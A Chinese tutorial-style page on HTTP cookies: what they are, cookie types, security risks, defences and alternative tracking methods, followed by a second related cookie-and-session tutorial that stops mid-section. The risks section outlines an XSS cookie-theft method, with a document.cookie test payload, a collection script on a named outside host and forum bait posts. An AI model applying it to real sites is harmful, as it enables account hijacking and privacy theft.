整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          “黑客”入門學習之“Cookie技術詳解”

          “黑客”入門學習之“Cookie技術詳解”

          “黑客”入門學習之“Cookie技術詳解”

          "重放攻擊"大家應該聽說過吧?重放攻擊時黑客常用的攻擊方式之一,攻擊者發送一個目的主機已接收過的包,來達到欺騙系統的目的,主要用于身份認證過程,破壞認證的正確性。這種攻擊會不斷惡意或欺詐性地重復一個有效的數據傳輸,重放攻擊可以由發起者,也可以由攔截并重發該數據的敵方進行。攻擊者利用網絡監聽或者其他方式盜取認證憑據,之后再把它重新發給認證服務器。

          重放攻擊監聽http數據傳輸的截獲的敏感數據大多數就是存放在Cookie中的數據。在web安全中的通過其他方式(非網絡監聽)盜取Cookie提交Cookie也是一種重放攻擊。所以可以看出"Cookie"這個“東東”好像很不安全。

          那么今天就以本篇文章詳細給大家介紹一下Cookie是什么?Cookie基本原理與實現?Cookie到底存在哪些安全隱患,我們該如何防御,有沒有其他技術替代方案?

          一、Cookie是什么?

          官方定義:Cookie,有時也用其復數形式Cookies,指某些網站為了辨別用戶身份、進行session跟蹤而儲存在用戶本地終端上的數據(通常經過加密)。

          通俗理解:Cookie就是服務器端為了保存某些數據,或實現某些必要的功能,當用戶訪問服務器時,從服務器回傳到客戶端的一個或多個數據,這些數據因設置的保存時間不同,故保存在瀏覽器內存中或寫入用戶PC的硬盤當中,當下次用戶再次訪問服務器端時,則帶著這些文件去與服務器端進行聯系,這些數據或寫入硬盤當中的數據文件就是Cookie。

          詳細簡介:

          眾所周知,Web協議(也就是HTTP)是一個無狀態的協議(HTTP1.0)。一個Web應用由很多個Web頁面組成,每個頁面都有唯一的URL來定義。用戶在瀏覽器的地址欄輸入頁面的URL,瀏覽器就會向Web Server去發送請求。如下圖,瀏覽器向Web服務器發送了兩個請求,申請了兩個頁面。這兩個頁面的請求是分別使用了兩個單獨的HTTP連接。所謂無狀態的協議也就是表現在這里,瀏覽器和Web服務器會在第一個請求完成以后關閉連接通道,在第二個請求的時候重新建立連接。Web服務器并不區分哪個請求來自哪個客戶端,對所有的請求都一視同仁,都是單獨的連接。這樣的方式大大區別于傳統的(Client/Server)C/S結構,在那樣的應用中,客戶端和服務器端會建立一個長時間的專用的連接通道。正是因為有了無狀態的特性,每個連接資源能夠很快被其他客戶端所重用,一臺Web服務器才能夠同時服務于成千上萬的客戶端。

          但是我們通常的應用是有狀態的。先不用提不同應用之間的SSO,在同一個應用中也需要保存用戶的登錄身份信息。例如用戶在訪問頁面1的時候進行了登錄,但是剛才也提到,客戶端的每個請求都是單獨的連接,當客戶再次訪問頁面2的時候,如何才能告訴Web服務器,客戶剛才已經登錄過了呢?瀏覽器和服務器之間有約定:通過使用cookie技術來維護應用的狀態。Cookie是可以被Web服務器設置的字符串,并且可以保存在瀏覽器中。如下圖所示,當瀏覽器訪問了頁面1時,web服務器設置了一個cookie,并將這個cookie和頁面1一起返回給瀏覽器,瀏覽器接到cookie之后,就會保存起來,在它訪問頁面2的時候會把這個cookie也帶上,Web服務器接到請求時也能讀出cookie的值,根據cookie值的內容就可以判斷和恢復一些用戶的信息狀態。

          Cookie文件記錄了用戶的有關信息,如身份識別號碼ID、密碼、瀏覽過的網頁、停留的時間、用戶在Web站點購物的方式或用戶訪問該站點的次數等,當用戶再次鏈接Web服務器時,瀏覽器讀取Cookie信息并傳遞給Web站點。

          Cookie文件信息片斷以"名/值"對(name-vaiuepairs)的形式儲存,一個"名/值"對僅僅是一條命名的數據。例如,訪問 www.goto.com網站,則該站點可能會在客戶端電腦上產生一個包含以下內容的Cookie文件:UserIDA9A3BECE0563982Dwww.goto.com/。goto.com在電腦上存入了一個單一的"名/值"對,其中的"名"是UserID,"值"是A9A3BECE0563982D。

          Cookie文件的存放位置與操作系統和瀏覽器密切相關,這些文件在Windows機器里叫做Cookie文件,在Macintosh機器里叫做MagicCookie文件。對Windows和IE瀏覽器而言,Cookies文件的存放位置為:

          Cookie的主要功能是實現用戶個人信息的記錄,它最根本的用途是幫助Web站點保存有關訪問者的信息。更概括地說,Cookie是一種保持Web應用程序連續性(即執行狀態管理)的方法。

          HTTP協議是一種無狀態、無連接的協議,不能在服務器上保持一次會話的連續狀態信息。隨著WWW的不斷發展,HTTP的無狀態性不能滿足某些應用的需求,給Web服務器和客戶端的操作帶來種種不便。在此背景下,提出HTTP的狀態管理機制———Cookie機制,它是對HTTP協議的一種補充,以保持服務器和客戶端的連續狀態。

          二、Cookie技術的原理

          以實例闡述技術原理:

          假設一個用戶在進行網上購物

          1) 假定用戶第一次訪問這個購物網站,用戶瀏覽器這邊有一個Cookie文件,里面只有一行信息beay:8734,但是沒有任何與這個購物信息有關的信息

          2) 用戶開始使用常規的http請求消息來訪問,服務器收到訪問以后,發現這是一個新用戶,于是為這個用戶創建一個ID為1678,并把這個信息存儲在后端的數據庫中

          3) 服務器收到請求后向瀏覽器發回響應消息,但是在響應消息里面多了一行信息,就是Set-cookie: 1678,客戶瀏覽器收到響應信息后,把新增的Cookie信息添加到自己的Cookie文件中,意思是:我在這個網站中的ID是1678

          4) 當用戶第二次再訪問這個網站的時候,請求信息中就會帶上自己的Cookie信息,服務器收到以后,通過Cookie信息發現是之前訪問過的用戶,于是做出Cookie-specific action,將http響應信息發回用戶瀏覽器

          5) 一周以后再次訪問,依然會重復4的步驟

          三、常見的Cookie 種類

          1、Session cookie

          也稱為內存cookie或者瞬時cookie,只存在用戶瀏覽站點時的內存中。當用戶關閉瀏覽器時,瀏覽器通常會刪除session cookies。不像其他cookies,session cookies沒有分配過期時間,作為session cookie瀏覽器會自己管理它。

          2、持久性cookie

          不像session cookie在瀏覽器關閉時就會過期那樣,持久性cookie是到一個特定日期過期或者過來一段時間過期。這就意味著,在cookie的整個生命周期(創建cookie時可以指定其生命周期),每次用戶訪問cookie所屬站點時,或者每次用戶在其他站點訪問cookie所屬站點的資源(例如廣告)時,cookie所攜帶的信息都會被發送到服務端。

          由于這個原因,持久性cookie有時被稱為追蹤cookie,因為廣告系統可以利用它記錄用戶在一段時間內的網頁瀏覽習慣信息。當然,使用它也有一些"正當"理由,例如保持用戶的登錄狀態,避免每次訪問的再次登錄。

          如果過期時間到了,或者用戶手動刪除了,這種cookie會被重置。

          3、安全cookie

          安全cookie只能通過安全連接傳輸(例如,https)。不能通過非安全連接傳輸(例如,http)。這樣就不太可能被竊取。在cookie中設置一個Secure標志就可以創建安全cookie。

          4、HttpOnly cookie

          HttpOnly cookie不能通過客戶端api獲取到。這種限制減少了通過(XSS)竊取cookie的風險。然而這種cookie也會受到跨站追蹤和跨站請求偽造攻擊。在cookie中添加HttpOnly可以創建這種cookie。

          5、SameSite cookie

          chrome51版本引入的一種新類型cookie,只有請求和站點是同源的,才會發送cookie到服務器。這種限制可以緩解攻擊,例如跨站請求偽造攻擊。在cookie中設置SameSite標識可以創建這種類型的cookie。

          6、第三方cookie

          正常情況下,cookie的域屬性和瀏覽器地址欄里顯示的域是相同的。這種cookie稱為第一方cookie。然而第三方cookie不屬于瀏覽器地址欄顯示的域中。這種cookie通常出現在web頁面有外部站點內容時的情況中,例如廣告系統。這就提供了一個潛在的能力來追蹤用戶的瀏覽歷史,廣告系統通常會利用這個來給每個用戶推薦相關的廣告信息。

          例如,假設用戶訪問了www.example.com,這個站點包含ad.foxytracking.com的廣告,當這個廣告加載時,會設置一個屬于廣告所在域(ad.foxytracking.com)的cookie。然后用戶訪問另一個站點,www.foo.com,這個站點也包含來自ad.foxytracking.com的廣告,這個廣告也會設置一個屬于ad.foxytracking.com域的cookie。最終,所有這些cookie會發送給廣告主,當用戶加載他們的廣告或者訪問他們的網站時。然后廣告主就可以利用這些cookie統計出用戶的瀏覽記錄,當然瀏覽記錄里面的站點必須要包含廣告主的廣告。也就是廣告主可以利用這些cookie知道你訪問了那些包含他們廣告的站點。

          7、Supercookie

          supercookie是來自于頂級域名(例如.com)或者有公共后綴(例如.co.uk)的cookie。普通cookie是來自于一個特定域名,例如example.com。

          supercookie是一個潛在的安全威脅,所以經常被瀏覽器默認禁止的。如果瀏覽器不禁止,控制惡意站點的攻擊者可以設置一個supercookie,干擾或者冒充合法的用戶向其他共享頂級域名或者公共后綴的站點的請求。例如,來自.com的supercookie可以惡意影響example.com的請求,即便這個cookie并不是來自于example.com。可以用來偽造登錄或者修改用戶信息。

          幫助降低supercookie帶來的風險。公共后綴是一個跨廠商的倡議,目標是為了提供一個準確的最新的域名后綴列表。舊版本瀏覽器可能沒有一份最新的列表,會容易受到來自某些域的supercookie的威脅。

          "supercookie"的術語有時會被用來描述某些不通過HTTP cookie的追蹤技術。兩個這樣的"supercookie"機制在2011年的微軟站點被發現了:機器標識碼cookie和ETag cookie,由于媒體的關注,微軟禁止了這樣的cookie。

          8、Zombie cookie

          zombie cookie是指被刪除后可以自動再創建的cookie。通過把cookie內容存儲在多個地方實現,例如flash的,H5的,其他客戶端甚至服務端位置。當缺失的cookie被檢測到,就會利用存儲在這些位置的數據重新創建cookie。

          四、Cookie的安全性隱患

          Cookie的目的是為用戶帶來方便,為網站帶來增值,一般情況下不會造成嚴重的安全威脅。Cookie文件不能作為代碼執行,也不會傳送病毒,它為用戶所專有并只能由創建它的服務器來讀取。另外,瀏覽器一般只允許存放300個Cookie,每個站點最多存放20個Cookie,每個Cookie的大小限制為4KB,因此,Cookie不會塞滿硬盤,更不會被用作"拒絕服務"攻擊手段。

          但是,Cookie作為用戶身份的替代,其安全性有時決定了整個系統的安全性,Cookie的安全性問題不容忽視。

          1、Cookie欺騙

          Cookie記錄了用戶的帳戶ID、密碼之類的信息,通常使用MD5方法加密后在網上傳遞。經過加密處理后的信息即使被網絡上一些別有用心的人截獲也看不懂。然而,現在存在的問題是,截獲Cookie的人不需要知道這些字符串的含義,只要把別人的Cookie向服務器提交,并且能夠通過驗證,就可以冒充受害人的身份登陸網站,這種行為叫做Cookie欺騙。

          非法用戶通過Cookie欺騙獲得相應的加密密鑰,從而訪問合法用戶的所有個性化信息,包括用戶的E-mail甚至帳戶信息,對個人信息造成嚴重危害。

          2、Cookie截獲

          Cookie以純文本的形式在瀏覽器和服務器之間傳送,很容易被他人非法截獲和利用。任何可以截獲Web通信的人都可以讀取Cookie。

          Cookie被非法用戶截獲后,然后在其有效期內重放,則此非法用戶將享有合法用戶的權益。例如,對于在線閱讀,非法用戶可以不支付費用即可享受在線閱讀電子雜志。

          Cookie截獲的手段有以下一些。

          (1) 用編程手段截獲Cookie

          下面分析其手法,該方法分兩步完成:

          步驟一:定位需要收集Cookie的網站,對其進行分析并構造URL。 首先打開要收集Cookie的網站,這里假設是http://www.XXX.net,登陸網站輸入用戶名"<Al>"(不含引號),對數據進行分析抓包,得到如下代碼:

          將其中"<Al>"更換為:

          "<script>alert(document.cookie)</script>"再試,如果執行成功,就開始構造URL:

          其中http://www.cbifamily.org/cbi.php是用戶能夠控制的某臺主機上的一個腳本。需要注意的是"%2b"為符號"+"的URL編碼,因為"+"將被作為空格處理。該URL即可在論壇中發布,誘使別人點擊。

          步驟二:編制收集Cookie的PHP腳本,并將其放到用戶可以控制的網站上,當不知情者點擊了構造的URL后可以執行該PHP代碼。該腳本的具體內容如下:

          將這段代碼放到網絡里,則能夠收集所有人的Cookie。如果一個論壇允許HTML代碼或者允許使用Flash標簽,就可以利用這些技術收集Cookie的代碼放到論壇里,然后給帖子取一個吸引人的主題,寫上有趣的內容,很快就可收集到大量的Cookie。在論壇上,有許多人的密碼就是被這種方法盜走的。

          (2) 利用Flash的代碼隱患截獲Cookie。

          Flash中有一個getURL()函數。Flash可以利用這個函數自動打開指定的網頁,它可能把用戶引向一個包含惡意代碼的網站。例如,當用戶在電腦上欣賞Flash動畫時,動畫幀里的代碼可能已經悄悄地連上網,并打開了一個極小的包含有特殊代碼的頁面,這個頁面可以收集Cookie、也可以做一些其他有害的事情。網站無法禁止Flash的這種作為,因為這是Flash文件的內部功能。

          (3)Cookie泄漏網絡隱私

          Cookie導致網絡隱私泄密的主要原因是:商業利益驅動。隨著電子商務的興起和互聯網上巨大商機的出現,一些網站和機構濫用Cookie,未經訪問者的許可,利用搜索引擎技術、數據挖掘技術甚至是網絡欺騙技術搜集他人的個人資料,達到構建用戶數據庫、發送廣告等營利目的,造成用戶個人隱私的泄漏。"Cookie信息傳遞的開放性。Cookie文件具有特殊的傳遞流程 和文本特性,在服務器和客戶端之間傳送未經安全加密的Cook-ie文件,易導致個人信息的泄密。

          五、防范Cookie泄密的安全措施

          面對Cookie的安全問題,如何才能安全地應用Cookie呢?

          (1)加強安全防范意識

          Cookie相對來說是無害的,但它能用于跟蹤用戶,使用Cookie必須意識到其固有的安全弱點。

          保存在Cookie中的內容,完全有可能是用戶的私人數據。例如,網站為了方便用戶,利用Cookie來保存會員的注冊信息:電子郵件地址、網站的用戶名、用戶密碼、信用卡號碼等,以便用戶以后登錄該網站時不用重新輸入這些數據。如果有人盜取了這樣的Cookie文件,他就可以冒充登錄網站,這將對用戶的個人信息安全構成不可預測的威脅。

          因此,只在Cookie中保存一些不重要的數據,如用戶首選項或其它對應用程序沒有重大影響的信息。如果確實需要在Cook-ie中保存某些敏感信息,就要對其加密,以防被他人盜用。可以對Cookie的屬性進行設置, 使其只能在使用安全套接字層(SSL)的連接上傳輸。SSL并不能防止保存在用戶計算機上的Cookie被他人讀取或操作,但能防止Cookie在傳輸途中被他人截獲。

          (2)配置安全的瀏覽器

          IE和Netscape瀏覽器的工具欄里,都有禁止Cookie的設置選項,都可以設置當某個站點要在用戶的計算機上創建Cookie時,是否給出提示。這樣用戶就可以選擇允許或拒絕創建Cook-ie。需要注意的是,某些網站的應用必須使用Cookie,簡單地禁止可能導致無法正常瀏覽此類網站。

          使用IE6會更安全。最新的IE6提供了多種隱私保護功能,包括:查看網站的P3P隱私策略,以了解該網站如何使用個人可識別信息;通過Cookie隱私設置決定是否允許將網站的Cookie保存在計算機上;在訪問不符合隱私設置條件的站點時發出隱私警報。用戶可以有選擇性地設置Cookie。

          (3)安裝Cookie管理工具

          ①CookieCrusher

          LimitSoftware公司的Crusher適用于Netscape用戶,其功能有:管理計算機上已有的Cookie、設置禁止或允許創建Cookie的網站列表、在創建新Cookie與修改已經存在的Cookie時發出警告、禁止第三方網站Cookie、實時控制接受或拒絕來自站點的Cookie、記錄Cookie活動日志、編輯Cookie等,并且在網上瀏覽時,程序獨創的分析功能可以自動確定網站要求創建的Cookie的目的,如:判斷網站是把Cookie用于存儲用戶輸入的資料還是準備利用Cookie跟蹤用戶的瀏覽習慣等。

          ②CookiePaI

          除了瀏覽器能使用Cookie, 其它的互聯網軟件也可能使用,如郵件程序等。為了維護網絡隱私的安全,同時又能保證一些互聯網軟件正確地使用Cookie文件,可以安裝Kooka-burraSoftware公司的支持多種軟件的Cookie管理工具CookiePaI。它專門用于Cookie管理,支持用戶查看、刪除、編輯已經存在的Cookie,自動地實時控制是否接受Cookie,根據過期時間過濾Cookie,它還能夠記錄Cookie的活動,編輯拒絕或允許Cookie的網站列表。

          (4)刪除內存中的Cookies

          Cookie的信息并不都是以文件形式存放在硬盤中,還有部分信息保存在內存里。這類Cookie通常是用戶在訪問某些特殊網站時,由系統自動在內存中生成的。一旦訪問者離開該網站,系統又自動將Cookie從內存中刪除。對此,需要借助注冊表編輯器來修改系統設置,運行Regedit,找到如下鍵值:

          HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur-rentversion\InternetSettings\Cache\SpeciaIPaths\Cookies,這是Cookies在內存中的鍵值,把這個鍵值刪除。右鍵單擊"Cook-ies",再單擊快捷菜單中的"刪除"命令確認刪除。

          (5)使用AAS技術

          2002年,美國IngrianNetworks公司發表了可以使Web站點 免受"CookiePoisoning(Cookie篡改)"攻擊的平臺"ActiveAppIi-cationSecurity(AAS)"。AAS平臺能對Cookie內部的重要信息進行加密處理,并附上電子簽名。Web服務器每次和客戶端進行通信時,將利用電子簽名對Cookie的內容進行確認。如果惡意用戶刪除了電子簽名或者更改了信息內容,將會使電子簽名和Cookie的內容無法再匹配。這時,AAS便會阻止這條Cookie并拒絕向Web站點返回信息。另外,該平臺還對Cookie內容進行了3DES加密,解密需要口令,通過這種方法安全地保存Cookie。WWW服務器和客戶端之間的通信還全部利用了SSL連接方式,以確保通信路由的安全。通過綜合運用電子簽名、加密、SSL連接等技術組成強效的安全方案,可以排除通信路由及數據存儲兩方面存在的脆弱性,杜絕對Cookie的篡改。

          六、Cookie的替代方案

          有些可以使用cookie實現的方案也可以使用其他機制實現。

          1、JSON Web Tokens

          (JWT)是一個自包含的信息包,可以用來存儲用戶標識以及認證信息。可以被用來代替session cookie。和cookie自動附加到每個HTTP請求的方式不一樣,JWTs必須被web應用明確指定附加到那個HTTP請求上。

          2、HTTP 認證

          HTTP包含基本認證以及摘要認證協議,利用這些協議只有在提供了正確的用戶名和密碼后才能訪問到web頁面。如果服務端需要類似的認證信息來確保web頁面的訪問權限,那么瀏覽器每次頁面請求的時候都要發送這些認證信息。這些認證信息也可以用來追蹤用戶。

          3、IP 地址

          有些用戶可能會被基于訪問頁面的電腦IP地址追蹤過,服務端知道當前正在運行瀏覽器的電腦的IP地址,理論上可以對這個IP地址關聯一個用戶session。

          然后IP地址通常不是一個可靠的追蹤session或者標識用戶的方法。許多電腦設計的時候就是為了讓一個單獨用戶使用的,例如辦公PC,家庭PC會在網絡地址轉換協議下共享一個公共的IP地址。而且某些系統,例如設計的時候就是為了保持匿名性的,利用IP地址追蹤用戶顯然是不合適的,也是不可能的。

          4、URL 查詢字符串

          一個更精確的技術是基于URL中嵌入信息。URL中的查詢字符串部分通常就是為了實現這個目的的,當然也可以使用其他部分。Java Servlet和PHP session機制都是使用這種機制,如果cookie被禁止了。這種方法由服務端在web頁面的所有鏈接中追加包含一個獨立session標識的查詢字符串組成。當用戶點擊了其中了一個鏈接,瀏覽器把查詢字符串傳給服務端,允許服務端識別用戶維持狀態。這些類型的查詢字符串非常像cookie,都包含任意的信息供服務端選擇,都會隨請求返回給服務端。然而其中還是有點不同的。由于查詢字符串是URL中的一部分,如果URL后面被重復發送了,那么上面附加的相同信息將會被發送到服務端,這樣可能會產生混亂。例如,如果用戶的偏好信息被放在了查詢字符串中,用戶把這個url通過郵件發給了另一個用戶,那么這些偏好信息就會變成另一個用戶的。而且如果相同用戶從不同的源多次訪問相同的頁面,這樣不能確保每次使用相同的查詢字符串。例如,如果一個用戶第一次通過一個頁面的內部站點訪問了一個頁面,然后第二次又通過外部的搜索引擎訪問到這個頁面,這樣查詢字符串可能會不同。如果在這種情況下使用cookie,cookie可以是相同的。

          使用查詢字符串其他缺點就是安全問題。在查詢字符串中存儲標識session的數據可以導致session固定攻擊,referer日志攻擊以及其他安全漏洞。把session標識轉成HTTP cookie更安全。

          5、隱藏的表單字段

          另一種回話跟蹤是使用隱藏域的web表單。這個技術很像使用url查詢字符串去保存信息,也有一些優點和缺點。事實上,如果通過HTTP的GET方法處理表單,那么這種技術就和使用URL查詢字符串類似,因為GET方法會把表單字段作為查詢字符串追加到URL后面。但是大部分表單都是通過HTTP的POST方法處理,這樣表單信息包括隱藏的字段都會在HTTP請求體中發送,這樣既不是URL中的一部分,也不是cookie的一部分。

          從追蹤的角度來看這種方式有兩種好處。第一,把追蹤信息放在HTTP請求體中而不是URL中意味著它不會被普通用戶察覺。第二,當用戶復制URL的時候不會復制到session信息。

          6、"window.name" DOM 屬性

          所有的現代瀏覽器都可以通過js使用DOM屬性window.name存儲一個相當大的數據(2-23M)。這個數據可以用來代替session cookie也是可以跨域的。這個技術可以和JSON對象一起使用來存儲客戶端上的復雜session變量集合。

          不足就是美國單獨的窗口或者tab頁剛開始打開的時候會有一個空的window.name屬性。而且,這個屬性可以用來追蹤不同站點的訪問者。

          在某些方面,這種方法可能比cookie更加方便,因為它的內容不會像cookie那樣在每次請求的時候自動的發送給服務端,所以它不易收到網絡cookie嗅探攻擊。然而如果不采用特殊的方法保護數據,它很容易受到其他攻擊,因為數據可以被在同一個窗口或者tab中打開的其他站點獲取到。

          7、廣告主標識碼

          蘋果使用了追蹤技術稱為"廣告主標識碼"(IDFA)。這種技術會給每個購買蘋果產品的用戶分配一個唯一標識。這個唯一標識會被蘋果網絡廣告系統使用,來確定用戶正在查看或者回復的廣告。

          8、ETag

          因為瀏覽器會緩存ETags,然后在后續的請求相同資源時返回,追蹤服務器可以簡單的復制從瀏覽器接受的任意ETag來確保ETag長久留存(就像持久化cookie一樣)。增加緩存頭也可以加強ETag數據的保存。

          在某些瀏覽器中可以通過清理緩存來清楚ETag數據。

          9、web 存儲

          一些web瀏覽器支持持久化機制,允許頁面本地存儲信息以后使用。

          HTML5標準(絕大多數現代瀏覽器在某種程度上都支持)包含了一個Javascript API叫做:local storage和session storage。local storage的行為和持久化cookie類似,而session storage的行為和session cookie的行為類似,也就是session storage是綁定在一個單獨的tab或者窗口的生命周期中的(也就是頁面session),而session cookie是針對整個瀏覽器的。

          IE支持在瀏覽器歷史中持久化信息,在瀏覽器的收藏夾中,以一個XML格式存儲,或者直接在頁面中存儲到硬盤。

          一些web瀏覽器插件也包含持久化機制。例如Flash有Local shared object,Silverlight有 Isolated storage。

          10、瀏覽器緩存

          瀏覽器緩存也可以用來存儲信息,利用這些信息也可以用來追蹤用戶。這項技術利用的真相是當瀏覽器判斷出來緩存的已經是最新資源時可以利用緩存而不是重新從站點下載。

          例如,一個站點托管了一個js文件,這個js文件可以給用戶指定一個唯一標識(例如,var userId=3243242)。只要用戶訪問之后,每次用戶再訪問這個頁面時,這個文件都會從緩存中獲取而不是從服務端獲取。所以它的內容永遠不會變。

          天我們就來全面了解一下Cookie(小餅干)以及相關的知識!

          相信很多同學肯定聽過Cookie這個東西,也大概了解其作用,但是其原理以及如何設置,可能沒有做過web的同學并不是非常清楚,那今天豬哥就帶大家詳細了解下Cookie相關的知識!

          一、誕生背景

          爬蟲系列教程的第一篇:HTTP詳解中我們便說過HTTP的五大特點,而其中之一便是:無狀態

          HTTP無狀態:服務器無法知道兩個請求是否來自同一個瀏覽器,即服務器不知道用戶上一次做了什么,每次請求都是完全相互獨立。

          早期互聯網只是用于簡單的瀏覽文檔信息、查看黃頁、門戶網站等等,并沒有交互這個說法。但是隨著互聯網慢慢發展,寬帶、服務器等硬件設施已經得到很大的提升,互聯網允許人們可以做更多的事情,所以交互式Web慢慢興起,而HTTP無狀態的特點卻嚴重阻礙其發展!

          交互式Web:客戶端與服務器可以互動,如用戶登錄,購買商品,各種論壇等等

          不能記錄用戶上一次做了什么,怎么辦?聰明的程序員們就開始思考:怎么樣才能記錄用戶上一次的操作信息呢?于是有人就想到了隱藏域

          隱藏域寫法:<input type="hidden" name="field_name" value="value">

          這樣把用戶上一次操作記錄放在form表單的input中,這樣請求時將表單提交不就知道上一次用戶的操作,但是這樣每次都得創建隱藏域而且得賦值太麻煩,而且容易出錯!

          ps:隱藏域作用強大,時至今日都有很多人在用它解決各種問題!

          網景公司當時一名員工Lou Montulli(盧-蒙特利),在1994年將“cookies”的概念應用于網絡通信,用來解決用戶網上購物的購物車歷史記錄,而當時最強大的瀏覽器正是網景瀏覽器,在網景瀏覽器的支持下其他瀏覽器也漸漸開始支持Cookie,到目前所有瀏覽器都支持Cookie了

          二、Cookie是什么

          前面我們已經知道了Cookie的誕生是為了解決HTTP無狀態的特性無法滿足交互式web,那它究竟是什么呢?

          上圖是在Chrome瀏覽器中的百度首頁的Cookies(Cookie的復數形式),在表格中,每一行都代表著一個Cookie,所以我們來看看Cookie的定義吧!

          Cookie是由服務器發給客戶端的特殊信息,而這些信息以文本文件的方式存放在客戶端,然后客戶端每次向服務器發送請求的時候都會帶上這些特殊的信息,用于服務器記錄客戶端的狀態。

          Cookie主要用于以下三個方面:

          1. 會話狀態管理(如用戶登錄狀態、購物車、游戲分數或其它需要記錄的信息)
          2. 個性化設置(如用戶自定義設置、主題等)
          3. 瀏覽器行為跟蹤(如跟蹤分析用戶行為等)

          三、Cookie原理

          我們在了解了Cookie是由服務器發出存儲在瀏覽器的特殊信息,那具體是怎么樣的一個過程呢?為了大家便于理解,就以用戶登錄為例子為大家畫了一幅Cookie原理圖

          用戶在輸入用戶名和密碼之后,瀏覽器將用戶名和密碼發送給服務器,服務器進行驗證,驗證通過之后將用戶信息加密后封裝成Cookie放在請求頭中返回給瀏覽器

          HTTP/1.1 200 OK
          Content-type: text/html
          Set-Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Aug 2019 21:47:38 GMT; Path=/; Domain=.169it.com; HttpOnly
          [響應體]
          

          瀏覽器收到服務器返回數據,發現請求頭中有一個:Set-Cookie,然后它就把這個Cookie保存起來,下次瀏覽器再請求服務器的時候,會把Cookie也放在請求頭中傳給服務器:

          GET /sample_page.html HTTP/1.1
          Host: www.example.org
          Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg
          

          服務器收到請求后從請求頭中拿到cookie,然后解析并到用戶信息,說明此用戶已登錄,Cookie是將數據保存在客戶端的

          這里我們可以看到,用戶信息是保存在Cookie中,也就相當于是保存在瀏覽器中,那就說用戶可以隨意修改用戶信息,這是一種不安全的策略!

          強調一點:Cookie無論是服務器發給瀏覽器還是瀏覽器發給服務器,都是放在請求頭中的!

          四、Cookie屬性

          下圖中我們可以看到一個Cookie有:Name、Value、Domain、Path、Expires/Max-Age、Size、HTTP、Secure這些屬性,那這些屬性分別都有什么作用呢?我們來看看

          1. Name&Value

          Name表示Cookie的名稱,服務器就是通過name屬性來獲取某個Cookie值。

          Value表示Cookie 的值,大多數情況下服務器會把這個value當作一個key去緩存中查詢保存的數據。

          2.Domain&Path

          Domain表示可以訪問此cookie的域名,下圖我們以百度貼吧頁的Cookie來講解一下Domain屬性。

          從上圖中我們可以看出domain有:.baidu.com 頂級域名和.teiba.baidu.com的二級域名,所以這里就會有一個訪問規則:頂級域名只能設置或訪問頂級域名的Cookie,二級及以下的域名只能訪問或設置自身或者頂級域名的Cookie,所以如果要在多個二級域名中共享Cookie的話,只能將Domain屬性設置為頂級域名!

          Path表示可以訪問此cookie的頁面路徑。比如path=/test,那么只有/test路徑下的頁面可以讀取此cookie。

          3.Expires/Max-Age

          Expires/Max-Age表示此cookie超時時間。若設置其值為一個時間,那么當到達此時間后,此cookie失效。不設置的話默認值是Session,意思是cookie會和session一起失效。當瀏覽器關閉(不是瀏覽器標簽頁,而是整個瀏覽器) 后,此cookie失效。

          提示:當Cookie的過期時間被設定時,設定的日期和時間只與客戶端相關,而不是服務端。

          4.Size

          Size表示Cookie的name+value的字符數,比如有一個Cookie:id=666,那么Size=2+3=5 。

          另外每個瀏覽器對Cookie的支持都不相同

          5.HTTP

          HTTP表示cookie的httponly屬性。若此屬性為true,則只有在http請求頭中會帶有此cookie的信息,而不能通過document.cookie來訪問此cookie。

          設計該特征意在提供一個安全措施來幫助阻止通過Javascript發起的跨站腳本攻擊(XSS)竊取cookie的行為

          6.Secure

          Secure表示是否只能通過https來傳遞此條cookie。不像其它選項,該選項只是一個標記并且沒有其它的值。

          這種cookie的內容意指具有很高的價值并且可能潛在的被破解以純文本形式傳輸。

          五、Python操作Cookie

          1.生成Cookie

          前面我們說過Cookie是由服務端生成的,那如何用Python代碼來生成呢?

          從上圖登錄代碼中我們看到,在簡單的驗證用戶名和密碼之后,服務器跳轉到/user,然后set了一個cookie,瀏覽器收到響應后發現請求頭中有一個:Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg,然后瀏覽器就會將這個Cookie保存起來!

          2.獲取Cookie

          最近我們一直在講requests模塊,這里我們就用requests模塊來獲取Cookie。

          r.cookies表示獲取所有cookie,get_dict()函數表示返回的是字典格式cookie。

          3.設置Cookie

          上篇我們爬取優酷彈幕的文章中便是用了requests模塊設置Cookie

          我們就瀏覽器復制過來的Cookie放在代碼中,這樣便可以順利的偽裝成瀏覽器,然后正常爬取數據,復制Cookie是爬蟲中常用的一種手段!

          六、Session

          1.誕生背景

          其實在Cookie設計之初,并不像豬哥講的那樣Cookie只保存一個key,而是直接保存用戶信息,剛開始大家認為這樣用起來很爽,但是由于cookie 是存在用戶端,而且它本身存儲的尺寸大小也有限,最關鍵是用戶可以是可見的,并可以隨意的修改,很不安全。那如何又要安全,又可以方便的全局讀取信息呢?于是,這個時候,一種新的存儲會話機制:Session 誕生了。

          2.Session是什么

          Session翻譯為會話,服務器為每個瀏覽器創建的一個會話對象,瀏覽器在第一次請求服務器,服務器便會為這個瀏覽器生成一個Session對象,保存在服務端,并且把Session的Id以cookie的形式發送給客戶端瀏覽,而以用戶顯式結束或session超時為結束。

          我們來看看Session工作原理:

          1. 當一個用戶向服務器發送第一個請求時,服務器為其建立一個session,并為此session創建一個標識號(sessionID)。
          2. 這個用戶隨后的所有請求都應包括這個標識號(sessionID)。服務器會校對這個標識號以判斷請求屬于哪個session。

          對于session標識號(sessionID),有兩種方式實現:Cookie和URL重寫,豬哥就以Cookie的實現方式畫一個Session原理圖

          聯系cookie原理圖我們可以看到,Cookie是將數據直接保存在客戶端,而Session是將數據保存在服務端,就安全性來講Session更好!

          3.Python操作Session

          后面豬哥將會以登錄的例子來講解如何用Python代碼操作Session

          七、面試場景

          1.Cookie和Session關系

          1. 都是為了實現客戶端與服務端交互而產出
          2. Cookie是保存在客戶端,缺點易偽造、不安全
          3. Session是保存在服務端,會消耗服務器資源
          4. Session實現有兩種方式:Cookie和URL重寫

          2.Cookie帶來的安全性問題

